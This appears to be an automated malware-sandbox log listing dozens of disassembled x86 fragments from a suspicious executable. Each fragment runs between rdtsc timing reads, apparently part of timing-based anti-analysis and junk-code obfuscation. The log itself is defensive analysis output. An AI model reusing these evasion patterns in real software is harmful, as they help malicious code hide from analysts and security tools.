Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D00985 second address: D0098A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D010F9 second address: D010FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0098A second address: D009AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F15B8B8418Dh 0x00000013 popad 0x00000014 pushad 0x00000015 jnc 00007F15B8B84186h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D010FE second address: D01181 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15B904E92Ch 0x00000008 jnp 00007F15B904E926h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 jc 00007F15B904E926h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F15B904E928h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 jp 00007F15B904E92Ch 0x0000003b mov dword ptr [ebp+1245F0CDh], ebx 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 jmp 00007F15B904E936h 0x0000004b pop eax 0x0000004c pushad 0x0000004d jmp 00007F15B904E937h 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D01B61 second address: D01B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D025D3 second address: D025D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D03171 second address: D03176 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D02E6F second address: D02E88 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F15B904E928h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jc 00007F15B904E926h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D02E88 second address: D02E8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D03C4C second address: D03C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D074FE second address: D07547 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F15B8B84188h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D3D26h] 0x00000013 push 00000000h 0x00000015 mov ebx, dword ptr [ebp+122D3AC2h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F15B8B84188h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F15B8B8418Ah 0x00000040 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D04DE7 second address: D04DED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D04DED second address: D04DF2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D094EC second address: D094F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0671B second address: D06720 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D094F1 second address: D094F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D094F7 second address: D09508 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0772D second address: D07738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D09B31 second address: D09B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D09B35 second address: D09B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0AAB2 second address: D0AABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F15B8B84186h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0BBD3 second address: D0BBDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0CB30 second address: D0CB9D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15B8B8418Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pop ebx 0x00000015 nop 0x00000016 mov ebx, ecx 0x00000018 push 00000000h 0x0000001a sub edi, 43E0D00Fh 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007F15B8B84188h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c xchg eax, esi 0x0000003d push esi 0x0000003e jmp 00007F15B8B84199h 0x00000043 pop esi 0x00000044 push eax 0x00000045 jp 00007F15B8B84194h 0x0000004b push eax 0x0000004c push edx 0x0000004d push edi 0x0000004e pop edi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0CB9D second address: D0CBA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0DA4E second address: D0DABE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b clc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F15B8B84188h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 jl 00007F15B8B8418Dh 0x0000002e pushad 0x0000002f push eax 0x00000030 pop ecx 0x00000031 mov bx, di 0x00000034 popad 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F15B8B84188h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov dword ptr [ebp+12480679h], edi 0x00000057 xchg eax, esi 0x00000058 js 00007F15B8B84194h 0x0000005e push eax 0x0000005f push edx 0x00000060 jns 00007F15B8B84186h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0CCC4 second address: D0CCC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0CCC8 second address: D0CD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F15B8B8418Ah 0x0000000c nop 0x0000000d sub edi, 049B3F3Bh 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F15B8B84188h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 jc 00007F15B8B8418Ch 0x0000003a mov edi, dword ptr [ebp+122D39A9h] 0x00000040 and ebx, dword ptr [ebp+1245F03Ch] 0x00000046 mov dword ptr fs:[00000000h], esp 0x0000004d xor dword ptr [ebp+124612EDh], edi 0x00000053 mov edi, dword ptr [ebp+122D3D16h] 0x00000059 mov eax, dword ptr [ebp+122D1505h] 0x0000005f add bx, 671Dh 0x00000064 push FFFFFFFFh 0x00000066 push 00000000h 0x00000068 push eax 0x00000069 call 00007F15B8B84188h 0x0000006e pop eax 0x0000006f mov dword ptr [esp+04h], eax 0x00000073 add dword ptr [esp+04h], 00000018h 0x0000007b inc eax 0x0000007c push eax 0x0000007d ret 0x0000007e pop eax 0x0000007f ret 0x00000080 movzx edi, dx 0x00000083 push eax 0x00000084 pushad 0x00000085 ja 00007F15B8B84188h 0x0000008b push eax 0x0000008c push edx 0x0000008d push eax 0x0000008e pop eax 0x0000008f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0EA69 second address: D0EA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D12024 second address: D12029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1306A second address: D1306E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1306E second address: D13089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D13134 second address: D13138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D13FD2 second address: D13FE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F15B8B84188h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D13FE4 second address: D13FE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D13FE9 second address: D13FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D16060 second address: D16065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D150E9 second address: D150EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1814A second address: D181CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F15B904E92Ch 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F15B904E928h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov di, C29Dh 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F15B904E928h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 pushad 0x00000049 jmp 00007F15B904E934h 0x0000004e jp 00007F15B904E92Bh 0x00000054 add di, 5BA4h 0x00000059 popad 0x0000005a push 00000000h 0x0000005c xor dword ptr [ebp+122D1C90h], eax 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 push edi 0x00000066 push esi 0x00000067 pop esi 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D181CD second address: D181D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1625A second address: D16287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jns 00007F15B904E926h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F15B904E938h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D16287 second address: D16291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F15B8B84186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1AF5B second address: D1AF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1AF61 second address: D1AF65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CB623D second address: CB6243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CB6243 second address: CB6249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CB6249 second address: CB6254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CB6254 second address: CB6258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FBF3 second address: D1FBF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FD44 second address: D1FD48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FD48 second address: D1FD51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FD51 second address: D1FD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FD5B second address: D1FD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FD63 second address: D1FDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B8B84198h 0x00000009 jmp 00007F15B8B84197h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B8B84194h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FDB0 second address: D1FDB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D1FDB8 second address: D1FDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D264CD second address: D264D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D264D3 second address: D2650D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15B8B84186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F15B8B84191h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ebx 0x00000017 jmp 00007F15B8B84190h 0x0000001c pop ebx 0x0000001d mov eax, dword ptr [eax] 0x0000001f push edx 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D2650D second address: D2651E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D2651E second address: D26523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CC6F59 second address: CC6F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B904E92Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CC6F16 second address: CC6F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CC6F1C second address: CC6F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15B904E932h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 jnc 00007F15B904E926h 0x00000016 pop esi 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F15B904E935h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D2A6C0 second address: D2A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F15B8B84195h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D2A6DD second address: D2A6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D2AEE6 second address: D2AEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 jg 00007F15B8B841A1h 0x0000000c pushad 0x0000000d jng 00007F15B8B84186h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D36EDB second address: D36EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC672 second address: CFC6B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movsx edx, di 0x0000000e lea eax, dword ptr [ebp+12481408h] 0x00000014 js 00007F15B8B84186h 0x0000001a nop 0x0000001b push edx 0x0000001c push ebx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ebx 0x00000020 pop edx 0x00000021 push eax 0x00000022 pushad 0x00000023 jnp 00007F15B8B8419Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC6B5 second address: CFC6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC6B9 second address: CFC6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC6BD second address: CE493E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F15B904E928h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D3A86h] 0x00000028 call dword ptr [ebp+122D395Fh] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jl 00007F15B904E926h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC781 second address: CFC786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC902 second address: CFC927 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E935h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b je 00007F15B904E934h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFC927 second address: CFC92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFCDD1 second address: CFCDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFCFAF second address: CFCFB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFCFB3 second address: CFCFB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD73C second address: CFD746 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15B8B84186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD946 second address: CFD94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
